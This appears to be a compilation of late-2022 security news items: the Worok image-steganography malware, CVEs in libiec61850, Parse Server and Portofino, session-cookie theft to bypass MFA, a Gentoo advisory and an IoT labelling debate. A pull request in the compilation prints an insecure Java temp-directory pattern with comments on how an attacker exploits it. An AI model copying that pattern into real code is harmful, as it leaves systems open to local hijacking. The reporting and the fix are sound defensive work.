A recently discovered cyber espionage group dubbed Worok has been found hiding malware in seemingly innocuous image files, corroborating a crucial link in the threat actor's infection chain.
Czech cybersecurity firm Avast said the purpose of the PNG files is to conceal a payload that's used to facilitate information theft.
"What is noteworthy is data collection from victims' machines using

A recently discovered cyber espionage group dubbed **Worok** has been found hiding malware in seemingly innocuous image files, corroborating a crucial link in the threat actor's infection chain.

Czech cybersecurity firm Avast said the purpose of the PNG files is to conceal a payload that's used to facilitate information theft.

"What is noteworthy is data collection from victims' machines using DropBox repository, as well as attackers using DropBox API for communication with the final stage," the company said.

The development comes a little over two months after ESET disclosed details of attacks carried out by Worok against high-profile companies and local governments located in Asia and Africa. Worok is believed to share tactical overlaps with a Chinese threat actor tracked as TA428.

The Slovak cybersecurity company also documented Worok's compromise sequence, which makes use of a C++-based loader called **CLRLoad** to pave the way for an unknown PowerShell script embedded within PNG images, a technique known as steganography.

That said, the initial attack vector remains unknown as yet, although certain intrusions have entailed the use of ProxyShell vulnerabilities in Microsoft Exchange Server to deploy the malware.

Avast's findings show that the adversarial collective makes use of DLL side-loading upon gaining initial access to execute the CLRLoad malware, but not before performing lateral movement across the infected environment.

PNGLoad, which is launched by CLRLoad (or alternatively another first-stage called PowHeartBeat), is said to come in two variants, each responsible for decoding the malicious code within the image to launch either a PowerShell script or a .NET C#-based payload.

The PowerShell script has continued to be elusive, although the cybersecurity company noted it was able to flag a few PNG files belonging to the second category that dispensed a steganographically embedded C# malware.

"At first glance, the PNG pictures look innocent, like a fluffy cloud," Avast said. "In this specific case, the PNG files are located in C:\\Program Files\\Internet Explorer, so the picture does not attract attention because Internet Explorer has a similar theme."

This new malware, dubbed DropBoxControl, is an information-stealing implant that uses a Dropbox account for command-and-control, enabling the threat actor to upload and download files to specific folders as well as run commands present in a certain file.

Some of the notable commands include the ability to execute arbitrary executables, download and upload data, delete and rename files, capture file information, sniff network communications, and exfiltrate system metadata.

Companies and government institutions in Cambodia, Vietnam, and Mexico are few of the prominent countries affected by DropBoxControl, Avast said, adding the authors of the malware are likely different from those behind CLRLoad and PNGLoad owing to "significantly different code quality of these payloads."

Regardless, the deployment of the third-stage implant as a tool to harvest files of interest clearly indicates the intelligence-gathering objectives of Worok, not to mention serves to illustrate an extension to its killchain.

"The prevalence of Worok's tools in the wild is low, so it can indicate that the toolset is an APT project focusing on high-profile entities in private and public sectors in Asia, Africa, and North America," the researchers concluded.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Worok Hackers Abuse Dropbox API to Exfiltrate Data via Backdoor Hidden in Images

A vulnerability has been found in MZ Automation libiec61850 up to 1.4 and classified as critical. This vulnerability affects unknown code of the file src/mms/iso_mms/client/mms_client_files.c of the component MMS File Services. The manipulation of the argument filename leads to path traversal. Upgrading to version 1.5 is able to address this issue. The name of the patch is 10622ba36bb3910c151348f1569f039ecdd8786f. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-213556.

**README libIEC61850**

This file is part of the documentation of **libIEC61850**. More documentation can be found online at http://libiec61850.com.

The API documentation can be found here:

*   C API: https://support.mz-automation.de/doc/libiec61850/c/latest/
*   .NET API: https://support.mz-automation.de/doc/libiec61850/net/latest/

Also consider to review the examples to understand how to use the library.

Content:

*   Overview
*   Features
*   Examples
*   Building and running the examples
*   Building the library with TLS support
*   Installing the library and the API headers
*   Building on Windows with GOOSE support
*   Building with the cmake build script
*   Using the log service with sqlite
*   C# API
*   Experimental Python bindings
*   Licensing
*   Contributing

**Overview**

libiec61850 is an open-source (GPLv3) implementation of an IEC 61850 client and server library implementing the protocols MMS, GOOSE and SV. It is implemented in C (according to the C99 standard) to provide maximum portability. It can be used to implement IEC 61850 compliant client and server applications on embedded systems and PCs running Linux, Windows, and MacOS. Included is a set of simple example applications that can be used as a starting point to implement own IEC 61850 compliant devices or to communicate with IEC 61850 devices. The library has been successfully used in many commercial software products and devices.

For commercial projects licenses and support is provided by MZ Automation GmbH. Please contact info@mz-automation.de for more details on licensing options.

**Features**

The library support the following IEC 61850 protocol features:

*   MMS client/server, GOOSE (IEC 61850-8-1)
*   Sampled Values (SV - IEC 61850-9-2)
*   Support for buffered and unbuffered reports
*   Online report control block configuration
*   Data access service (get data, set data)
*   online data model discovery and browsing
*   all data set services (get values, set values, browse)
*   dynamic data set services (create and delete)
*   log service \*\* flexible API to connect custom data bases \*\* comes with sqlite implementation
*   MMS file services (browse, get file, set file, delete/rename file) \*\* required to download COMTRADE files
*   Setting group handling
*   Support for service tracking
*   GOOSE and SV control block handling
*   TLS support
*   C and C#/.NET API

**Examples**

The examples are built automatically when CMake is used to build the library.

NOTE: Most examples are intended to show a specific function of the library. They are designed to show this function as simple as possible and may miss error handling that has to be present in real applications!

**Building and running the examples with the provided makefiles**

In the project root directory type

If the build succeeds you can find a few binary files in the projects root directory. You can also find a binary version of the library ("libiec61850.a") in the "build" directory.

Run the sample applications in the example folders. E.g.:

    cd examples/server_example_basic_io
    sudo ./server_example_basic_io
    

on the Linux command line.

You can test the server examples by using a generic client or the provided client example applications.

**Building the library with TLS support**

Download, unpack, and copy mbedtls-2.16 into the third\_party/mbedtls folder.

NOTE: The current version support mbedtls version 2.16. When you download the source archive from https://tls.mbed.org/ you have to rename the extracted folder to "mbedtls-2.16".

In the main libiec61850 folder run

When using CMake the library is built automatically with TLS support when the folder third\_party/mbedtls/mbedtls-2.16 is present.

**Installing the library and the API headers**

The make and cmake build scripts provide an install target. This target copies the API header files and the static library to a single directory for the headers (INSTALL\_PREFIX/include) and the static library (INSTALL\_PREFIX/lib). With this feature it is more easy to integrate libiec61850 in an external application since you only have to add a simple include directory to the build tool of your choice.

This can be invoked with

make install

The default install directory for the make build script is ".install".

You can modify this by setting the INSTALL\_PREFIX environment variable (e.g.):

make INSTALL_PREFIX=/usr/local install

For the cmake build script you have to provide the CMAKE\_INSTALL\_PREFIX variable

**Building on windows with GOOSE support**

To build the library and run libiec61850 applications with GOOSE support on Windows (7/8/10) the use of a third-party library (winpcap) is required. This is necessary because current versions of Windows have no working support for raw sockets. You can download winpcap here (http://www.winpcap.org).

1.  Download and install winpcap. Make sure that the winpcap driver is loaded at boot time (you can choose this option at the last screen of the winpcap installer).
2.  Reboot the system (you can do this also later, but you need to reboot or load the winpcap driver before running any llibiec61850 applications that use GOOSE).
3.  Download the winpcap developers pack from here (http://www.winpcap.org/install/bin/WpdPack\_4\_1\_2.zip)
4.  Unpack the zip file. Copy the folders Lib and Include from the WpdPack directory in the third\_party/winpcap directory of libiec61850

**Building with the cmake build script**

With the help of the cmake build script it is possible to create platform independent project descriptions and let cmake create specific project or build files for other tools like Make or Visual Studio.

If you have cmake installed fire up a command line (cmd.exe) and create a new subdirectory in the libiec61850 folder. Change to this subdirectory. Then you can invoke cmake. As an command line argument you have to supply a "generator" that is used by cmake to create the project file for the actual build tool (in our case Visual Studio 2015).

cmake -G "Visual Studio 14 2015" ..

will instruct cmake to create a "solution" for Visual Studio 2015. The resulting project files will be 32 bit.

To build 64 bit libraries the "Win64" generator option has to be added.

cmake -G "Visual Studio 14 2015 Win64" ..

Note: The ".." at the end of the command line tells cmake where to find the main build script file (called CMakeLists.txt). This should point to the folder libiec61850 which is in our case the parent directory (..).

Depending on the system you don't have to provide a generator to the cmake command.

To select some configuration options you can use ccmake or cmake-gui.

For newer version of Visual Studio you can use one of the following commands (for 64 bit builds):

For Visual Studio 2017:

cmake -G "Visual Studio 15 2017 Win64" ..

For Visual Studio 2019 (new way to specify the x64 platform):

cmake -G "Visual Studio 16 2019" .. -A x64

**Using the log service with sqlite**

The library provides support for the IEC 61850 log service. It provides an abstract interface for a logging database. Included is a driver for using sqlite for logging. This driver can be seen as an example on how to use the abstract logging interface.

You can use the driver by including the src/logging/drivers/sqlite/log\_storage\_sqlite.c file into your application build.

On Ubuntu Linux (and simpilar Linux distributions) it is enough to install the sqlite dev packages from the standard repository. For other OSes (e.g. Windows) and cross-compiling it is recomended to download the amalagation source code (from https://www.sqlite.org/download.html) of sqlite and copy them to the third\_party/sqlite folder.

On windows the cmake skript will detect the sqlite source code and also creates the example project for logging.

**C# API**

A C#/.NET wrapper and examples and Visual Studio/MonoDevelop project files can be found in the dotnet folder. The examples and the C# wrapper API can be build and run on .NET or Mono.

**Experimental Python bindings**

The experimental Python binding can be created using SWIG with cmake.

To enable the bindings you have to select the phyton configuration option with ccmake of cmake-gui.

We don't provide any support for the Python bindings!

**Commercial licenses and support**

Support and commercial license options are provided by MZ Automation GmbH. Please contact info@mz-automation.de for more details.

**Contributing**

If you want to contribute to the improvement and development of the library please send me comments, feature requests, bug reports, or patches. For more than trivial contributions I require you to sign a Contributor License Agreement. Please contact info@libiec61850.com.

Please don't send pull requests before signing the Contributor License Agreement! Such pull requests may be silently ignored.

CVE-2022-3976: GitHub - mz-automation/libiec61850: Official repository for libIEC61850, the open-source library for the IEC 61850 protocols

Plus: US midterms survive disinformation efforts, the government names the alleged Lockbit ransomware attacker, and the Powerball drawing hits a security snag.

The United States took to the polls this week to vote in a high-stakes midterm election. With public trust in election systems at an all-time low, the secret ballot is more important now than ever before. We also took a look at a flawed app built by prominent right-wing provocateurs that has been used to challenge hundreds of thousands of voter registrations.

Meanwhile, the Department of Justice announced that a Georgia man has pleaded guilty to wire fraud nine years after stealing more than 50,000 bitcoins from the Silk Road, the legendary dark-web market. You may have heard that things are chaotic over at Twitter, with a wave of corporate impersonations plaguing the platform hours after the rollout of a service that allows anyone who pays $8 a month to get a blue check mark showing they are “verified.” It’s a gift for scammers and grifters of all shades.

New analysis shows that two large ships, with their trackers off, were detected near the Nord Stream 2 pipeline in the days before the gas leaks were detected. Officials suspect sabotage, and NATO is investigating. Plus, Russian military hackers are pivoting to a new strategy that favors faster attacks with more immediate results.

And there’s more. Each week, we highlight the news we didn’t cover in-depth ourselves. Click on the headlines below to read the full stories.

This week saw even more chaos at Twitter as security executives resigned after clashing with their new boss, Elon Musk, over how the company should meet its obligations to the Federal Trade Commission. After a pair of data breaches in 2009, Twitter agreed to submit regular reports about its privacy practices under the terms of a 2011 settlement with the Federal Trade Commission. The company settled with the FTC earlier this year after it was caught serving ads to user emails and phone numbers, which people supplied as part of their security measures. If Twitter doesn’t comply with its commitments to the agency, the FTC could fine the company billions of dollars.

On Wednesday, a day before the deadline for Twitter to submit a report to the FTC, Twitter’s chief information security officer, chief privacy officer, and chief compliance officer quit. The company’s head of Trust and Safety also left the company the following day.

In a message posted to Twitter’s Slack that was obtained by The Verge, an attorney on the privacy team wrote that engineers could be required to “self-certify” that their projects complied with the settlement, burdening the engineers with “personal, professional, and legal risk.” The employee added that Alex Spiro, Musk’s lawyer, told workers that “Elon puts rockets into space—he’s not afraid of the FTC.”

The resignations came as the company began battling a wave of corporate impersonators who gamed the company’s new paid verification system to shitpost hours after it launched.

About 60 of Maricopa county’s 223 voting locations reported technical issues on Election Day, frustrating voters and fueling conspiracies about election fraud. Technicians were dispatched to polling sites across Arizona’s largest county on Tuesday to fix dozens of malfunctioning vote tabulation machines. Election officials urged frustrated voters to vote at other locations or drop their ballots in a secure box to be counted later. “Everyone is still getting to vote. No one has been disenfranchised,” Bill Gates, chair of the Maricopa County board of supervisors, told reporters on Tuesday morning.

But that didn’t keep right-wing influencers, including former US president Donald Trump, from using the glitch to allege that votes were being suppressed. Researchers at the University of Washington found online chatter about tabulator problems started to trend after Republican activist Charlie Kirk posted about them; later in the day, Trump took to Truth Social to suggest, without evidence, that only “Republican areas” were impacted by the errors. Around 2:30 pm local time, officials in Arizona announced they had fixed the problem by changing the machines’ printer settings.

A Russian Canadian national named Mikhail Vasiliev was arrested in Canada on Wednesday over his alleged participation in the LockBit ransomware campaign, according to the US Justice Department and Europol. LockBit has claimed at least 1,000 victims, according to Deep Instinct’s 2022 Interim Cyber Threat Report, and is responsible for around 44 percent of ransomware campaigns this year. Vasiliev is charged with “conspiracy to intentionally damage protected computers and to transmit ransom demands” and is currently in Canada awaiting extradition to the United States. If convicted, he faces a maximum of five years in prison.

A security issue delayed a record-breaking $2.04 billion Powerball drawing after an unnamed state failed to submit the appropriate data and complete security protocols. According to the Multi-State Lottery Association, which runs Powerball, one of the regional lottery commissions failed to finish tabulating their sales and ticketing data in time for Monday night’s drawing. The 10-hour delay ended Tuesday with a single winner who had bought the ticket at Joe’s Service Center, a gas station in Altadena, California, state lottery officials said.

Elon Musk Introduces Twitter Mayhem Mode

Pretty much every aspect of the effort to create easy-to-understand labels for Internet-of-Things (IoT) products is up in the air, according to participants in the process.

The effort to create informative labels to give buyers insight into the cybersecurity of connected devices continues to advance, but very slowly, according to technology firms and the US government.

Last week, Google published a blog post outlining the company's stance on what should be included in product labels for Internet of Things (IoT) devices. It described five principles that should guide the industry, including a minimum security baseline, adherence to international standards, and allowing the label to change as knowledge of the security landscape changes. The need for a statement focusing on basics highlights the slow paces at which the standards are being developed.

One reason that IoT cybersecurity labelling standards are in their "early stages" is because the Internet of Things includes a massive number of products and categories, says Dave Kleidermacher, vice president of engineering for Android Security & Privacy at Google.

"Simplification of IoT security remains a challenge that the industry continues to work on," he says. "This is largely due to the fact that IoT has a broad spectrum of product categories like light bulbs and smart displays, which have very different levels of required security."

Google's published statement comes two weeks after the White House called together technologists from government and private industry for a summit on the progress in IoT labeling, and more than a year after the US National Institute of Standards and Technology (NIST) held its "Workshop on Cybersecurity Labeling Programs for Consumers: Internet of Things (IoT) Devices and Software," an effort to create IoT product labels that communicate the security state of applications and connected devices.

Both meetings were striving to deliver on the Biden administration's May 2021 "Executive Order on Improving the Nation's Cybersecurity," which mandates developing standards. The goal of the latest meeting was to continue progress toward a nutrition label or an Energy Star-like system that speaks to the security of any connected device, the Biden administration said in a statement.

"\[The\] dialogue focused on how to best implement a national cybersecurity labeling program, drive improved security standards for Internet-enabled devices, and generate a globally recognized label," the White House said in an Oct. 20 statement. "Government and industry leaders discussed the importance of a trusted program to increase security across consumer devices that connect to the Internet by equipping devices with easily recognized labels to help consumers make more informed cybersecurity choices."

**No to Printed Labels, Yes to International Standards**

Progress is slow, Google stated in its blog post. Almost all of the details of IoT product labeling are up in the air, including "the definition of labeling, what labeling needs to convey in terms of security and privacy, where the label should reside, and how to achieve consumer acceptance."

Printed labels should be avoided, because security is ever-changing, and any label would only document a point in the past, Kleidermacher says.

"Labels need to be digital," he says. "Because the security posture of a device can change in a matter of days, providing a printed label could inadvertently hurt the user by providing potentially stale information or lead a consumer to buy a device which is no longer safe."

Google pointed to security label specifications being created by the IoT-focused Connectivity Standards Alliance (CSA) and the GSM Association, a mobile device industry group, as potential starting places.

"Being able to offer helpful, useful information to allow consumers to enable better purchase decisions is the core of the consensus building around IoT security labeling," Kleidermacher says. "The rest is still very much up for debate, including how the label should look — that is, binary or multi-level — where it should reside, and what the label should include."

**Binary Labels Get NIST's Nod**

One area of disagreement is whether labels should be binary — yes, a product meets standards, or no, it does not — or allow for a spectrum of cybersecurity ratings. In its final draft of its "Recommended Criteria for Cybersecurity Labeling for Consumer IoT Products," NIST recommended in September a binary label for the baseline standard. In a statement published in October, the Biden administration committed to quickly develop the standards for labeling of "the most common, and often most at-risk, technologies — routers and home cameras."

Google's Kleidermacher noted that the binary approach deviates from multitiered labeling schemes adopted in other countries, such as Singapore. The company hopes that the United States and other countries can work through industry alliances to create a standard global approach for attesting to cybersecurity.

"Because these organizations bridge industry and policy makers, we hope that this could help drive speedy adoption through collaboration, coordination, and the sharing of ideas," he says. "Many countries have already started mandating minimum security baselines through regulation efforts, so it is imperative that the United States participate in international discussions to create coherent, interoperable standards."

Cybersecurity 'Nutrition' Labels Still a Work in Progress

Multifactor authentication has gained adoption among organizations as a way of improving security over passwords alone, but increasing theft of browser cookies undermines that security.

When the malware group Lapsus$ needed to gain access to systems compromised in recent breaches, it not only searched for passwords but also for the session tokens — that is, cookies — used to authenticate a device or browser as legitimate.

Their tactics for initial access highlights a trend among attackers, who will buy passwords and cookies on the criminals underground use them to access cloud services and on-premises applications. In addition, when they do get access to a system, attackers prioritize stealing cookies for later use or for sale. Session cookies have become the way for attackers to bypass multifactor authentication (MFA) mechanism that otherwise protect systems and cloud services from attackers, says Andy Thompson, global research evangelist at CyberArk Labs.

In a presentation at Black Hat Middle East and Africa next week, CyberArk researchers will demonstrate how attackers can steal session cookies and then use them to gain access to business and cloud services.

"The crazy part is that this applies to all types of multifactor, because stealing these cookies bypasses both authentication and authorization," Thompson says. "Once you have authenticated using multifactor, that cookie is established on the endpoint, and the attacker can then use it for later access."

Stealing session cookies has become one of the most common ways that attackers circumvent multifactor authentication. The Emotet malware, the Raccoon Stealer malware-as-a-service, and the RedLine Stealer keylogger all have functionality for stealing sessions tokens from the browsers installed on a victim's system

In August, security software firm Sophos noted that the popular red-teaming and attack tools Mimikatz, Metasploit Meterpreter, and Cobalt Strike all could be used to harvest cookies from the browsers' caches as well, which the firm called "the new perimeter bypass."

"Cookies associated with authentication to Web services can be used by attackers in 'pass the cookie' attacks, attempting to masquerade as the legitimate user to whom the cookie was originally issued and gain access to Web services without a login challenge," Sean Gallagher, a threat researcher with Sophos, stated in the August blog post. "This is similar to 'pass the hash' attacks, which use locally stored authentication hashes to gain access to network resources without having to crack the passwords."

**An Easy Attack for Sustaining Access**

Stealing cookies is a pretty basic attack, but one that has grown in importance as more companies adopt adaptive authentication strategies, which use a cookie to allow a users on a specific browser and device to access a protected service, without having to reenter a multifactor authentication code.

For attackers, there is very little needed to make the attack successful. As long as they have some sort of access to a machine, they can grab the cookies, says CyberArk's Thompson.

"Most attacks require some sort of elevation of privilege to install software," he says. "With this, we have everything we need, regardless of the level of privilege. Even as a non-admin, we are still vulnerable to cookie harvesting."

**Attackers Take on MFA by Necessity**

While stealing session cookies are a common way that attackers bypass multifactor authentication, there are a host of others as well. Keylogging can circumvent MFA by grabbing the one-time password used by many companies, while an adversary-in-the-middle attack can capture security information being sent both to and from a targeted service.

Attackers can also attempt to access an account repeatedly, with the backend system sending an authentication request to the actual user. Known as MFA bombing, the technique's goal is to overwhelm the user with requests and, from fatigue or from too little skepticism, have them click to allow the access. Attackers used stolen cookies and MFA bombing to compromise ride-share giant Uber and entertainment firm Take-Two Interactive.

Overall, the way to prevent attackers from bypassing MFA is to have additional security software on systems to detect the theft of cookies, says CyberArk's Thompson. So rather than just push users to adopt password managers and MFA and call that sufficient, companies need to adopt some sort of endpoint control as well, he says.

"We also need some ability to have a sort of least privilege or application control, antivirus, or EDR/XDR — any of those are really critical in solving the gap," Thompson says. "We want to prevent malicious tools and actors from harvesting passwords or harvesting cookie information from memory."

Cookies for MFA Bypass Gain Traction Among Cyberattackers

Bug emerges from ambition to find ‘end-to-end exploits beyond DoS’

Adam Bannister 11 November 2022 at 15:37 UTC

Bug emerges from ambition to find ‘end-to-end exploits beyond DoS’

A prototype pollution vulnerability that could lead to remote code execution (RCE) in Parse Server has been patched.

An attacker could potentially trigger RCE through the MongoDB BSON \[Binary JSON\] parser by leveraging the flaw (CVE-2022-39396), according to a GitHub security advisory published on November 8.

Parse Server is a popular, open source API server module for Node.js that provides push notification functionality for iOS, macOS, Android, and tvOS.

BACKGROUND Prototype pollution: A dangerous and underrated vulnerability impacting JavaScript applications

Although the security researchers involved are withholding technical details to give developers time to apply patches, so the detail remains unclear, we know the bug is comparable to another prototype pollution-to-RCE issue they disclosed earlier in the year. That vulnerability – which surfaced in March 2022 – was given the highest possible severity rating of CVSS 10.

**Patch now**

“I can confirm that both vulnerabilities have the highest impact because they affect the default configuration of Parse Server and allow an attacker to control the system remotely without any authentication,” Mikhail Shcherbakov, a researcher from the KTH Royal Institute of Technology in Stockholm, told The Daily Swig. “So my advice is to patch Parse Server ASAP, if you have it.”

The flaw has been patched in the NPM parse-server package in versions 4.10.18 and 5.3.1.

The patches prevent prototype pollution in the MongoDB database adapter. If updates cannot be applied immediately, then users can protect themselves in the meantime by disabling RCE through the MongoDB BSON parser.

**‘Complex task’**

The flaw was discovered during a research project undertaken by Shcherbakov, KTH colleague Musard Balliu, and Cristian-Alexandru Staicu from the Helmholtz Center for Information Security (CISPA) in Saarbrücken, Germany.

The trio investigated how prototype pollution vulnerabilities in Node.js systems might lead to RCE attacks.

“The detection of prototype pollution is a complex task,” said Shcherbakov. “However, the exploitation that demonstrates a high impact of vulnerabilities is more complicated in practice but still possible.”

The researchers have presented their findings, which also feature Node.js targets NPM CLI and Rocket.Chat, in a white paper (PDF). They are due to present their research at the USENIX Security ’23 conference.

**Universal gadgets**

Prototype pollution, which affects Node.js and prototype-based languages like JavaScript, involves injecting “properties into an object’s root prototype at runtime \[to\] subsequently trigger the execution of legitimate code gadgets that access these properties on the object’s prototype,” explains the presentation precis.

The researchers set out to find “end-to-end exploits beyond DoS in full-fledged Node.js applications”, and “the first multi-staged framework that uses multi-label static taint analysis to identify prototype pollution in Node.js libraries and applications, as well as a hybrid approach to detect universal gadgets”.

Technical details for the Parse Server RCE will eventually be disclosed via the Trend Micro Zero Day Initiative (ZDI) blog.

Other significant security bugs addressed in Parse Server this year include an issue that enabled brute-force guessing of sensitive user data, and a high severity authentication bypass impacting Apple Game Center.

RELATED Prototype pollution bug exposed Ember.js applications to XSS

Prototype pollution project yields another Parse Server RCE

A vulnerability has been found in ManyDesigns Portofino 5.3.2 and classified as problematic. Affected by this vulnerability is the function createTempDir of the file WarFileLauncher.java. The manipulation leads to creation of temporary file in directory with insecure permissions. Upgrading to version 5.3.3 is able to address this issue. The name of the patch is 94653cb357806c9cf24d8d294e6afea33f8f0775. It is recommended to upgrade the affected component. The identifier VDB-213457 was assigned to this vulnerability.

**Security Vulnerability Fix**

This pull request fixes either 1.) Temporary Directory Hijacking Vulnerability, or 2.) Temporary Directory Information Disclosure Vulnerability, which existed in this project.

**Preamble**

The system temporary directory is shared between all users on most unix-like systems (not MacOS, or Windows). Thus, code interacting with the system temporary directory must be careful about file interactions in this directory, and must ensure that the correct file permissions are set.

This PR was generated because the following chain of calls was detected in this repository in a way that leaves this project vulnerable.  
File.createTempFile(..) -> file.delete() -> either file.mkdir() or file.mkdirs().

**Impact**

This vulnerability can have one of two impacts depending upon which vulnerability it is.

1.  Temporary Directory Information Disclosure - Information in this directory is visable to other local users, allowing a malicious actor co-resident on the same machine to view potentially sensitive files.
2.  Temporary Directory Hijacking Vulnerability - Same impact as 1. above, but also, ther local users can manipulate/add contents to this directory. If code is being executed out of this temporary directory, it can lead to local priviledge escalation.

**Temporary Directory Hijacking**

This vulnerability exists because the return value from file.mkdir() or file.mkdirs() is not checked to determine if the call succeeded. Say, for example, because another local user created the directory before this process.

File tmpDir = File.createTempFile("temp", ".dir"); // Attacker knows the full path of the directory that will be later created
// delete the file that was created
tmpDir.delete(); // Attacker sees file is deleted and begins a race to create their own directory before the java code.
// and makes a directory of the same name
// SECURITY VULNERABILITY: Race Condition! - Attacker beats java code and now owns this directory
tmpDir.mkdirs(); // This method returns 'false' because it was unable to create the directory. No exception is thrown.
// Attacker can write any new files to this directory that they wish.
// Attacker can read any files created within this directory.

**Other Examples**

*   CVE-2021-20202 - Keycloak/Keycloak
*   CVE-2020-27216 - eclipse/jetty.project

**Temporary Directory Information Disclosure**

This vulnerability exists because, although the return values of file.mkdir() or file.mkdirs() are correctly checked, the permissions of the directory that is created follows the default system uname settings. Thus, the directory is created with everyone-readable permissions. As such, any files/directories written into this directory are viewable by all other local users on the system.

File tmpDir = File.createTempFile("temp", ".dir");
tmpDir.delete();
if (!tmpDir.mkdirs()) { // Guard correctly prevents temporary directory hijacking, but directory contents are everyone-readable.
    throw new IOException("Failed to create temporary directory");
}

**Other Examples**

*   CVE-2020-15250 - junit-team/junit
*   CVE-2021-21364 - swagger-api/swagger-codegen
*   CVE-2022-24823 - netty/netty
*   CVE-2022-24823 - netty/netty

**The Fix**

The fix has been to convert the logic above to use the following API that was introduced in Java 1.7.

File tmpDir = Files.createTempDirectory("temp dir").toFile();

The API both created the directory securely, ie with a random, non-conflicting name, with directory permissions that only allow the currently executing user to read or write the contents of this directory.

**➡️ Vulnerability Disclosure ⬅️**

👋 Vulnerability disclosure is a super important part of the vulnerability handling process and should not be skipped! This may be completely new to you, and that's okay, I'm here to assist!

First question, do we need to perform vulnerability disclosure? It depends!

1.  Is the vulnerable code only in tests or example code? No disclosure required!
2.  Is the vulnerable code in code shipped to your end users? Vulnerability disclosure is probably required!

**Vulnerability Disclosure How-To**

You have a few options options to perform vulnerability disclosure. However, I'd like to suggest the following 2 options:

1.  Request a CVE number from GitHub by creating a repository-level GitHub Security Advisory. This has the advantage that, if you provide sufficient information, GitHub will automatically generate Dependabot alerts for your downstream consumers, resolving this vulnerability more quickly.
2.  Reach out to the team at Snyk to assist with CVE issuance. They can be reached at the Snyk's Disclosure Email.

**Detecting this and Future Vulnerabilities**

This vulnerability was automatically detected by GitHub's LGTM.com using this CodeQL Query.

You can automatically detect future vulnerabilities like this by enabling the free (for open-source) GitHub Action.

I'm not an employee of GitHub, I'm simply an open-source security researcher.

**Source**

This contribution was automatically generated with an OpenRewrite refactoring recipe, which was lovingly hand crafted to bring this security fix to your repository.

The source code that generated this PR can be found here:  
UseFilesCreateTempDirectory

**Opting-Out**

If you'd like to opt-out of future automated security vulnerability fixes like this, please consider adding a file called  
.github/GH-ROBOTS.txt to your repository with the line:

    User-agent: JLLeitschuh/security-research
    Disallow: *
    

This bot will respect the ROBOTS.txt format for future contributions.

Alternatively, if this project is no longer actively maintained, consider archiving the repository.

**CLA Requirements**

_This section is only relevant if your project requires contributors to sign a Contributor License Agreement (CLA) for external contributions._

It is unlikely that I'll be able to directly sign CLAs. However, all contributed commits are already automatically signed-off.

> The meaning of a signoff depends on the project, but it typically certifies that committer has the rights to submit this work under the same license and agrees to a Developer Certificate of Origin  
> (see https://developercertificate.org/ for more information).
> 
> \- Git Commit Signoff documentation

If signing your organization's CLA is a strict-requirement for merging this contribution, please feel free to close this PR.

**Sponsorship & Support**

This contribution is sponsored by HUMAN Security Inc. and the new Dan Kaminsky Fellowship, a fellowship created to celebrate Dan's memory and legacy by funding open-source work that makes the world a better (and more secure) place.

This PR was generated by Moderne, a free-for-open source SaaS offering that uses format-preserving AST transformations to fix bugs, standardize code style, apply best practices, migrate library versions, and fix common security vulnerabilities at scale.

**Tracking**

All PR's generated as part of this fix are tracked here: JLLeitschuh/security-research#10

CVE-2022-3952: [SECURITY] Fix Temporary Directory Hijacking or Information Disclosure Vulnerability
 by JLLeitschuh · Pull Request #580 · ManyDesigns/Portofino

Gentoo Linux Security Advisory 202211-2 - A vulnerability has been found in lesspipe which could result in arbitrary code execution. Versions less than 2.06 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202211-02  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: lesspipe: Arbitrary Code Exeecution  
     Date: November 10, 2022  
     Bugs: #865631  
       ID: 202211-02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

A vulnerability has been found in lesspipe which could result in  
arbitrary code execution.

Background  
==========

lesspipe is a preprocessor for less.

Affected packages  
=================

    -------------------------------------------------------------------  
     Package              /     Vulnerable     /            Unaffected  
    -------------------------------------------------------------------  
  1  app-text/lesspipe          < 2.06                        >= 2.06

Description  
===========

lesspipe has support for parsing Perl storable ("PST") files,

Impact  
======

A crafted Perl storable file which is passed into lesspipe could result  
in arbitrary code execution.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All lesspipe users should update to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-text/lesspipe-2.06"

References  
==========

[ 1 ] CVE-2022-44542  
      https://nvd.nist.gov/vuln/detail/CVE-2022-44542

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202211-02

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2022 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202211-02

CVAT version 2.0 suffers from a server-side request forgery vulnerability.

